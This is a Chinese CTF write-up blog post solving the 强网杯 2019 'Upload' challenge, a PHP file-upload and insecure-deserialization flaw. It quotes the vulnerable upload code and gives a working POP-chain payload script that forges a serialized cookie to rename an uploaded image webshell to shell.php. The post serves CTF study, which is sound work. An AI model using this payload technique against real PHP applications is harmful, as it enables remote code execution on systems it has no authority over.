HacKerQWQ的博客空间

文件上传反序列化getshell-[强网杯 2019]Upload

Word count: 770Reading time: 3 min
2021/04/13 Share

[强网杯 2019]Upload

考点

  • 图片马
  • php反序列化利用

描述

上来是一个登录框
20210413193830
注册一个账号然后发现一个上传文件的地方,初步猜测这是一个文件上传getshell的点
20210413194114

解题思路

通过爆破发现源码在www.tar.gz,同时发现cookie的user字段有点奇怪
20210413194220
base64解码后发现是一段序列化后的字符串
20210413194309
那么先在文件夹找cookie字符串,发现进行了反序列化
20210413194431
同时在Register.php发现了__destruct函数,此处调用了checkerindex方法
20210413194627
可以结合Profile.php__get__call函数利用(__get用于访问不存在或不可访问的属性,__call用于调用不存在的函数)
20210413194830
这里假如访问Profile类的index函数的话,将会遍历except的函数是否有index这个键,用它的值作为函数名调用,因此令Profile的except为array("index"=>"..")就能调用我们想要的函数

接着往下看Profile.php的这部分代码用于处理上传的图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
$this->success('Upload img successful!', url('../home'));
}else{
$this->error('Upload file failed!', url('../index'));
}
}
}

public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}

public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){
return 1;
}else{
return 0;
}
}

这里的checker不需要,因为可令它为0,令ext=1进入下面的逻辑,注意到下面的copy函数,可以将文件复制,由于反序列化属性可控,因此可以将我们上传的图片马的名字为filename_tmp,更改为shell.php,所以filename为shell.php

POP链构造完成,上payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
namespace app\web\controller;

class Register{
public $checker;
public $registed;
}

class Profile{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
}

$register = new Register();
$register->registed=0;

$profile = new Profile();
$profile->except=array("index"=>"upload_img");
$profile->checker=0;
$profile->ext=1;
$profile->filename_tmp="./upload/d99081fe929b750e0557f85e6499103f/29a0252735b6f28bf3118a4136f69f90.png";
$profile->filename="./upload/shell.php";

$register->checker=$profile;

echo urlencode(base64_encode(serialize($register)));

方法:将图片马上传,然后将filename_tmp更改为图片马的路径,然后生成payload更改cookie的user字段,就成功了
20210413195816

CATALOG
  1. 1. [强网杯 2019]Upload
    1. 1.1. 考点
    2. 1.2. 描述
    3. 1.3. 解题思路